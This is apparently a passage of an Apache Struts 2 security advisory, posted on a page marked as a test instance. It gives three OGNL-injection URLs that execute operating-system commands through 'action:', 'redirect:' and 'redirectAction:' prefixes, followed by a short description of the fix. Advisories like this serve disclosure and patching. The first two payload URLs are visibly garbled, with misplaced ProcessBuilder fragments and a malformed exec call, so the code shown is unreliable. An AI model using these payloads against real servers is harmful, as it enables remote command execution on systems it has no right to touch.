THIS IS A TEST INSTANCE. ALL YOUR CHANGES WILL BE LOST!!!!
...
- Command Execution - the example method index 6 may vary on different JVMs
Code Block http://host/struts2-blank/example/X.action?action:%25{(%23context.getClass().getClassLoader().loadClass('new+java.lang.ProcessBuilder(new+java.lang.Runtime').getMethods())[6].invoke(null,null).exec('some_os_commands'String[]{'command','goes','here'})).start()}
Code Block http://host/struts2-showcase/employee/save.action?redirect:%25{(%23context.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethods())[6].invoke(null,null).exec('some_os_commands'new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
Code Block http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
Solution
DefaultActionMapper was changed to sanitize "action:"-prefixed information properly. The features involved with "redirect:"/"redirectAction:"-prefixed parameters were completely dropped - see also S2-017.
...